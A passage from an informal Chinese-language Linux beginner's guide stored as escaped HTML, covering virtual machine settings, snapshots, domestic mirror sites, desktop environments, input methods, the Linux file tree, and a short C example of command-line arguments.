align=\"center\"\u003e从你系统的软件库中安装virtualbox-guest-utils\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e顺便你还可以知道虚拟镜像挂载的知识呢。\u003c/p\u003e\n\u003ch3 id=\"硬件虚拟化\"\u003e硬件虚拟化\u003c/h3\u003e\n\u003cp\u003e虚拟化毕竟是模拟了一个电脑环境,这就好比某些双面人一样,心累啊。不过电脑没心没肺,没有道德真空,这不挺好的吗:-)\u003cbr/\u003e\n话说现在的CPU,都支持辅助虚拟化技术。这玩意简单来说,可以让虚拟机直接调用CPU的某些指令,让电脑更加轻松地进行虚拟化。要是没有这个,就真的只能靠软件模拟运行了,效率能把你逼疯。就像某些双面人一样,表面装好人,不过要没人陪衬,迟早装不下去的。\u003cbr/\u003e\n这个特性,Intel的叫VT-x,AMD的叫AMD-V。相信我,没有开这个玩意,大概率你的虚拟机会很卡,甚至有你的虚拟机可能都无法启动:-P\u003cbr/\u003e\n所以在这里,我要给大家的建议是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e查看自己的BIOS设置,看看有没有开虚拟化设置(记住这个单词:Virtualization)\u003c/li\u003e\n\u003cli\u003e看看你的虚拟机CPU设置,有没有开虚拟化设置(一般选项里都有VM-T/AMD-V字符串)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"共享文件夹\"\u003e共享文件夹\u003c/h3\u003e\n\u003cp\u003e实际上前面我提到的增强工具,有一个文件互相拖拽功能,不过个人认为,超级难用。一般来说,虚拟机需要访问宿主机文件的话,我更倾向于使用共享文件夹功能。这个功能本质上,就是把宿主机的一个文件夹通过某种虚拟机内部的网络共享方式,让虚拟机访问。\u003cbr/\u003e\n至于怎么用,给你们一些指南,具体怎么做,请询问可爱的互联网姐姐:-)\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/3OWGPruiYC1pMLn.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/3OWGPruiYC1pMLn.png\" loading=\"lazy\" alt=\"这个是VMWare虚拟机下,配置共享文件的方式\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VMWare虚拟机下,配置共享文件的方式\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/rH4wYkXjif5StqT.webp\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/rH4wYkXjif5StqT.webp\" loading=\"lazy\" alt=\"这个是VirtualBox虚拟机下,配置共享文件的方式\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VirtualBox虚拟机下,配置共享文件的方式\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e设置的时候,尽量勾选上自动挂载/开机挂载,这样能省下很多的事情。\u003cbr/\u003e\n还有一件事,读写权限也要搞明白,我前面说不出格就没事,是因为虚拟机和宿主机本来是隔离的,现在有了一个口子互相通信了,万一你在虚拟机搞了危险操作,极有可能你那些珍贵的东西就要遭殃了。(实际上共享剪贴板也有风险,但比这个小多了)\u003c/p\u003e\n\u003ch3 id=\"系统快照功能\"\u003e系统快照功能\u003c/h3\u003e\n\u003cp\u003e我先给大家讲两个案例,一个是电脑行装系统,一个是Windows的系统还原。\u003cbr/\u003e\n电脑行装系统,喜欢用Ghost。他们提前预制出一个系统环境,然后用Ghost软件保存下来。组装完电脑后,他们把这个模板“扣进”新机器,系统就装完了。\u003cbr/\u003e\nWindows有个功能,叫系统还原。当你的电脑出现问题的时候,还原一下就好了。\u003cbr/\u003e\n系统快照在某种意义上,就是上面那俩的集合。它的功能,就是把虚拟机的状态(包括磁盘状态,硬盘状态)保存下来,类似于一个模板环境。然后你在虚拟机里面操作,发现系统坏了,直接拿之前的快照还原一下就行了。这比Windows的系统还原还好用呢,真的是一键还原。\u003cbr/\u003e\n具体怎么用,互联网姐姐比我更清楚呢,我给你们俩地图吧:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/tPMENW9Ra43L8Iz.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/tPMENW9Ra43L8Iz.jpg\" loading=\"lazy\" alt=\"这个是VMWare虚拟机的系统快照功能\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VMWare虚拟机的系统快照功能\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/1nBe7aqPg3CmYMD.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/1nBe7aqPg3CmYMD.jpg\" loading=\"lazy\" alt=\"这个是VirtualBox虚拟机的系统快照功能\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VirtualBox虚拟机的系统快照功能\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e既然我们的目的是为了一个干净的环境,方便还原。我建议各位存两个快照:一个在系统安装完成之后,一个是在你干活之前。\u003cbr/\u003e\n对了,快照本身也是需要更新的。因为虚拟机里面的系统是需要更新的,所以干活之前的快照一定要更新。至于最干净的,系统完成之后的镜像,一般是为了在虚拟机彻底没法用的时候,搞的救命稻草。\u003cbr/\u003e\n还有一件事,快照回退的时候,在快照生成时间之后的所有东西,设置都将消失!所以你有啥必须要保存的东西,看看上面的共享文件夹功能。\u003c/p\u003e\n\u003ch2 id=\"镜像使用\"\u003e镜像使用\u003c/h2\u003e\n\u003cp\u003e相信大家遇到过这样的情况:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e需要下载一个软件,兴致冲冲跑到官网下载,结果发现下载速度好慢啊:-(\u003c/li\u003e\n\u003cli\u003e你需要用pip搞点数学计算,结果下载的时间够你出门晒太阳了\u003c/li\u003e\n\u003cli\u003e你想去搞点其他的资料,然而就是上不去\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e没关系,各大高校和互联网公司已经帮你下好了,你从他们那里取就行了。\u003c/p\u003e\n\u003ch3 id=\"先告知你\"\u003e先告知你\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e清华大学镜像站:https://mirrors.tuna.tsinghua.edu.cn\u003c/li\u003e\n\u003cli\u003e中科大镜像站:https://mirrors.ustc.edu.cn\u003c/li\u003e\n\u003cli\u003e如果你是我校友的话(仅校内服务):https://linux.xidian.edu.cn/mirrors\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e镜像站一般会给你很多的帮助指南,一定要充分利用。镜像站的用途还是很多的,以下只是一些示例。\u003c/p\u003e\n\u003ch3 id=\"加速linux系统更新\"\u003e加速Linux系统更新\u003c/h3\u003e\n\u003cp\u003e鉴于这是Linux指南,不提Linux有点不太合适。\u003cbr/\u003e\nLinux系统的优点之一,就是软件更新比Windows舒服。但默认更新一般是很慢的,因为要走国外的服务器。所以说,更改系统的软件源地址就很有必要了。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUbuntu简便方法:设置里面有个选项,叫”软件与更新”,从那里修改。\u003c/li\u003e\n\u003cli\u003eFedora/CentOS简便方法:一般需要看镜像源的文档,开命令行复制粘贴命令。\u003c/li\u003e\n\u003cli\u003eArch Linux/Manjaro:编辑/etc/pacman.d/mirrorlist文件。\u003c/li\u003e\n\u003cli\u003eDebian/Ubuntu:编辑/etc/apt/sources.list文件。\u003c/li\u003e\n\u003cli\u003eRed Hat系列:编辑/etc/yum.repos.d下面的一堆repo文件。本人超级不建议编辑,能烦死。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e对了,既然说到了软件源,这里预告一下,第五章讲命令行的时候我会细说这个的。\u003c/p\u003e\n\u003ch3 id=\"加速github的clone\"\u003e加速github的clone\u003c/h3\u003e\n\u003cp\u003e也不知为何,我们要从github下面拉下一个文件,总是好慢啊。幸亏现在有很多的镜像站来帮助我们快速下载。\u003cbr/\u003e\n这个我就直接扔俩地址,以及一个命令:\u003cbr/\u003e\n镜像1:https://hub.fastgit.xyz\u003cbr/\u003e\n镜像2:https://github.com.cnpmjs.org\u003cbr/\u003e\n命令:这个命令能让git访问github的时候,访问镜像。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit config --global url.\u003cspan class=\"s2\"\u003e\u0026#34;镜像网址\u0026#34;\u003c/span\u003e.insteadOf https://github.com\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"加速下载软件\"\u003e加速下载软件\u003c/h3\u003e\n\u003cp\u003e现在要下载啥软件,都喜欢找最近的镜像地点,加速你的下载。可就怕这玩意不好使用,你别说,我下载Eclipse IDE的时候就遇到过。\u003cbr/\u003e\n当然,幸运的话,镜像源都会给你备份好了。自己探索吧,我觉得没必要多说了233\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/rELAsP7vtYbHMCZ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/rELAsP7vtYbHMCZ.jpg\" loading=\"lazy\" alt=\"页面上提供了Java(OpenJDK),AOSP(安卓系统源代码)的镜像 下面还有VLC,OBS,Wireshark,FDroid等软件的镜像\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e页面上提供了Java(OpenJDK),AOSP(安卓系统源代码)的镜像 下面还有VLC,OBS,Wireshark,FDroid等软件的镜像\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"好奇怪的桌面\"\u003e好奇怪的桌面\u003c/h2\u003e\n\u003cp\u003e如果安装完了系统,进去发现系统有点不一样,但感觉上还能用,那你们真幸运:-)我六年前开始用Linux的时候,还不是这样呢。\u003cbr/\u003e\n但如果你发现,电脑操作不太一样了,或者说,你的Linux和他的不一样。那么,你就要先了解以下东西了。\u003c/p\u003e\n\u003ch3 id=\"桌面居然是一个独立的软件\"\u003e桌面居然是一个独立的软件?\u003c/h3\u003e\n\u003cp\u003e这点和Windows很不一样,Windows的图形化功能是集成到内核的,Linux不是这样。这也解释了为啥Windows图形化一崩溃就蓝屏了。\u003cbr/\u003e\n具体来说,Linux本身只是一个内核,在其上运行着很多程序,图形化界面(桌面环境)只是其中一个。\u003cbr/\u003e\n要细说的话,我们得扯一下历史了(欢迎大家进入工程概论睡觉模式):\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/c9p74VqHoIDUngb.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/c9p74VqHoIDUngb.jpg\" loading=\"lazy\" alt=\"SuperBart超级抽象画工时间2333\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eSuperBart超级抽象画工时间2333\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e上世纪七八十年代的电脑,都是需要用终端机来使用的。终端机连接到远端的主机,并进行操作。现在有些东西,还有这个的影子呢,比如你远程你买的云服务器。插一句,C语言的stdio头文件,全称叫标准输入输出(STanDard Input Output),也是对应了这个结构。输入在当时,就是终端机的键盘,输出在当时,就是终端机的屏幕。当然现在,分别对应的是你的键盘和屏幕了。\u003cbr/\u003e\nLinux的图形化程序叫Xorg,也是这样的结构。这里给张图片。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/uZhnsFCxlt63EOe.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/uZhnsFCxlt63EOe.jpg\" loading=\"lazy\" alt=\"根据维基百科X协议页面画的,不一定准确\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e根据维基百科X协议页面画的,不一定准确\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e你看,是不是有点终端机和主机的感觉呢?前面三个负责处理一些内部事情,比如接受进程状态,检测输入之类。然后XORG服务器将绘制信号传给XORG客户端,然后经由窗口管理器之类的东西,把窗口送到你的屏幕上。他的过程比Windows那样的直接绘制要复杂一些,但是十分灵活。\u003cbr/\u003e\n在Linux中,有很多的桌面环境。建议大家看一下自己系统使用的桌面环境,以后出现问题的话,会很有用。下面介绍一些著名的桌面环境,以及我认为的特点:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth align=\"center\"\u003e名称\u003c/th\u003e\n\u003cth align=\"center\"\u003e官网\u003c/th\u003e\n\u003cth align=\"left\"\u003e优点\u003c/th\u003e\n\u003cth align=\"left\"\u003e缺点\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eKDE\u003c/td\u003e\n\u003ctd align=\"center\"\u003ekde.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e围绕KDE开发的软件很多,界面比Windows 11还好看,配置方便\u003c/td\u003e\n\u003ctd align=\"left\"\u003e体积庞大\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eDeepin\u003c/td\u003e\n\u003ctd align=\"center\"\u003edeepin.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面华丽,使用简单,开发单位有国家赞助\u003c/td\u003e\n\u003ctd align=\"left\"\u003e3d加速之类的东西不太适合虚拟机使用\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eGNOME\u003c/td\u003e\n\u003ctd align=\"center\"\u003egnome.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e个性化能力强,围绕其生态的软件多\u003c/td\u003e\n\u003ctd align=\"left\"\u003e默认界面使用十分反人类,用起来十分不稳定\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eMATE\u003c/td\u003e\n\u003ctd align=\"center\"\u003emate.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面直观,软件丰富,基于GNOME还没反人类时期的代码\u003c/td\u003e\n\u003ctd align=\"left\"\u003e可能界面有点老土,默认上下都有任务栏\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eXFCE\u003c/td\u003e\n\u003ctd align=\"center\"\u003exfce.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e省资源,但是软件绝对够用,小耗子很可爱\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面十分老土,个人认为得自己配置一下\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eLXDE\u003c/td\u003e\n\u003ctd align=\"center\"\u003elxde.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e十分省资源\u003c/td\u003e\n\u003ctd align=\"left\"\u003e配置起来相当麻烦,软件之类得自己找\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e当然,听我的一家之词,肯定是不够的。建议各位上网找一下相关图片,了解一下。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ezD27HTvGYwfMsR.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ezD27HTvGYwfMsR.jpg\" loading=\"lazy\" alt=\"这个小恐龙比那个恶心人的辅导员恐龙好多了,我不理解为啥我们假期那么短\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个小恐龙比那个恶心人的辅导员恐龙好多了,我不理解为啥我们假期那么短\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch3 id=\"我的中文输入法呢\"\u003e我的中文输入法呢?\u003c/h3\u003e\n\u003cp\u003e相信有人装完系统,发现你的系统没有中文输入法,中文输入不了。\u003cbr/\u003e\nLinux的输入法跟Windows是有区别的,Linux上的输入法是一个框架,在框架中,具体的输入法才能运行。Linux上面有两个框架,一个叫Fcitx,一个叫ibus。接下来,我会给大家一些关于输入法的提示。\u003cbr/\u003e\n首先是fcitx(小企鹅输入法)。这个输入法的用途还是很广泛的,而且插件功能强大。我用的最多,也最想给大家推荐。具体安装我这里不会细说,给点提示吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一般来说,你需要安装一些针对QT和GTK的相容性插件。如果你发现输入不了的话,可能这是你问题的一个切入点。\u003c/li\u003e\n\u003cli\u003e目前Fcitx分为两个版本,一个是第四版,一个是第五版。现在推荐大家使用第五版,功能更多,开发更活跃。\u003c/li\u003e\n\u003cli\u003e关于默认的拼音输入法,有两个插件一定要激活:一个是云拼音插件,一个是词库插件。云拼音插件可以从百度的服务器上面得到你输入拼音的预测,词库插件可以获取搜狗拼音的词库。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e然后是ibus。这个是GNOME的默认输入框架,所以用GNOME的同志们,不要再装fcitx了。这个输入法我用的不多,所以这里谈的不多,请进入设置里的相关选项进行设置。\u003c/p\u003e\n\u003cp\u003e不过我必须插一句,不要使用默认的拼音输入法实现!去你的软件源找有没有ibus-libpinyin或者ibus-sunpinyin,这俩更好用。\u003c/p\u003e\n\u003ch3 id=\"linux上面有dev-c吗\"\u003eLinux上面有Dev-C++吗?\u003c/h3\u003e\n\u003cp\u003e没有,Dev-C++是纯Windows程序。但是Linux上面有更好用的。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e小熊猫Dev-C++,QT版的Dev-C++,该怎么用不用我多说了吧。(这不是原版Dev-C++,不保证你的软件仓库有)\u003c/li\u003e\n\u003cli\u003eGeany,用起来和Dev-C++差不多,构建单个文件的时候很舒服的。\u003c/li\u003e\n\u003cli\u003eCodeBlock,我们CPP语言老师用的是这个IDE。\u003c/li\u003e\n\u003cli\u003eKate,KDE桌面环境默认编辑器,个人习惯使用这个编辑配置文件。OI-Wiki有个指南,可以看看。(这个软件有Windows版)\u003c/li\u003e\n\u003cli\u003eGedit,Gnome桌面环境的默认编辑器。稍微配置一下,就能一键编译了。CSDN上面一堆教程呢。\u003c/li\u003e\n\u003cli\u003eVSCode,大名鼎鼎,无需多言。而且在Linux上配置更方便了呢。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e插一句啊,在Linux编程前,一定要看看你的系统有没有编译器!你安装gcc或者clang了吗?\u003c/p\u003e\n\u003ch2 id=\"文件相关\"\u003e文件相关\u003c/h2\u003e\n\u003cp\u003e粗略略用起来,好像没啥奇怪的。但当你想找C盘D盘的时候,诶,跑哪里去了?\u003cbr/\u003e\n你发现文件路径中,’/‘用的好多啊,而且有好多三个字母的目录,有点高大上。\u003cbr/\u003e\n你还发现文件属性里面没有\u0026#34;隐藏\u0026#34;了,这又是搞哪门子?\u003c/p\u003e\n\u003ch3 id=\"没有明显的分区概念\"\u003e没有明显的分区概念\u003c/h3\u003e\n\u003cp\u003e知道各位脑子里充满了C盘,D盘之类的。他们泾渭分明,基本上要没啥事的话,真的是鸡犬相闻,老死不相往来。但如果我告诉你,分区之间可以关系紧密,甚至成为了一棵树呢?\u003cbr/\u003e\n来看看这张图吧,这就是我电脑Linux的分区结构了。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/AzhmaGYnlNIpUPL.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/AzhmaGYnlNIpUPL.jpg\" loading=\"lazy\" alt=\"手绘的更有温度,懂不懂啊\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e手绘的更有温度,懂不懂啊\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e你看到了吗,任何文件都是衍生自一棵树,他的名字叫做根,他的目的也是为了耕种这些文件。这些文件在这个根的勤劳耕种下,努力地繁育系统这个大家庭……(看不懂的去看《十日谈》或者去听Genesis的Cinema Show)\u003cbr/\u003e\n为什么说Linux的分区不明显呢?分区是硬件上的概念,客观存在的。但是Linux中,分区之间的关系是非常紧密的。即使/usr目录在一个分区,/boot在另一个分区,/单独一个分区,但只要有/维系这棵树,他们之间的互相访问,就好像在一个分区一样,这样,分区的概念就不明显了。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/26tu7kIwGDRHv8S.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/26tu7kIwGDRHv8S.jpg\" loading=\"lazy\" alt=\"看分区的命令是sudo fdisk -l,/boot一个分区,/一个分区,还有16GB的交换空间(虚拟内存)\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e看分区的命令是sudo fdisk -l,/boot一个分区,/一个分区,还有16GB的交换空间(虚拟内存)\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e有心人注意到了,我写了一个\u0026#34;在内存中的文件\u0026#34;。这个是Linux内核把系统和硬件的信息,通过文件的形式给大家呈现了出来。这个方面,建议大家了解一下Linux/Unix下硬件映射为文件,“一切皆文件”的思想。\u003cbr/\u003e\n对于mac用户,你们可以打开终端,看看你们的根目录。\u003c/p\u003e\n\u003ch3 id=\"隐藏文件和配置文件\"\u003e隐藏文件和配置文件\u003c/h3\u003e\n\u003cp\u003e在Linux中,隐藏文件的标志和Windows的不一样。只要你在文件名前面搞个\u003ccode\u003e.\u003c/code\u003e就行了,就这样。\u003cbr/\u003e\n那么,什么情况下我们会看到隐藏文件呢?来看看我的电脑吧。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/RlKtxZCAEnBTkWd.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/RlKtxZCAEnBTkWd.jpg\" loading=\"lazy\" alt=\"左面的不显示隐藏文件,右面的显示隐藏文件\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e左面的不显示隐藏文件,右面的显示隐藏文件\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e好吧,你看到了很多的隐藏文件。这里面我先告诉你,大多数是配置文件。为啥要告诉你呢?要不然没法往下写了(尴尬)\u003cbr/\u003e\nLinux软件的配置文件,大多集中地放在以下目录中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e/etc 这个是系统级别的软件配置文件所在\u003c/li\u003e\n\u003cli\u003e$HOME/.config 这个是在你的家目录(/home/你的用户名)里面的软件配置文件所在\u003c/li\u003e\n\u003cli\u003e$HOME/.vkquake 这个是在家目录里,雷神之锤游戏的配置文件和数据包相关(有其他程序是话,请类比)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e配置文件有啥可说的呢?Linux大多数应用都是依靠配置文件,而不是图形化配置工具,来修改设定的。而且,一般通过配置文件,你可以对这个软件的使用有初步的印象,因为很多的配置文件都写满了注释。实际上,前面我们修改软件源的时候,我们就已经修改系统的配置文件了。\u003c/p\u003e\n\u003ch2 id=\"命令行的基本使chao用xi\"\u003e命令行的基本使(chao)用(xi)\u003c/h2\u003e\n\u003cp\u003e在Linux,你要想玩的high,就得接触命令行。对于某些在Windows经常搞cmd的人,估计会更熟悉些吧。\u003cbr/\u003e\n但如果你不熟悉命令行,相信你的外语和程序上机都好好学了吧,这也不是难事。\u003cbr/\u003e\n而且大家不是更喜欢CyberPorn吗2333\u003c/p\u003e\n\u003ch3 id=\"程序设计课复习程序与参数\"\u003e程序设计课复习:程序与参数\u003c/h3\u003e\n\u003cp\u003e各位应该在C语言程序设计中,学到了如何通过命令行输入参数,而不是先把程序执行了,再输入数据。你们当时肯定输入的是这个:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eint main(int argc, char* argv[])\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e其中第一个参数argc(argument count),是你输入的参数数量。第二个参数argv(argument vector),存放的是你输入的参数字符串。举个例子,前面我们提到要搞软件包管理。在Ubuntu下,你搜索软件包(举个例子,gcc编译器)的时候,你输入的是:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eapt search gcc\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样,你输入了三个参数,一个是apt,一个是search,一个是gcc。这样的话,argc的数值是3,而argv里面存储的,则是那三个参数的字符串了。这里我建议各位自己编写一个和下面程序类似的程序。看看输出结果。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e\u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[]){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 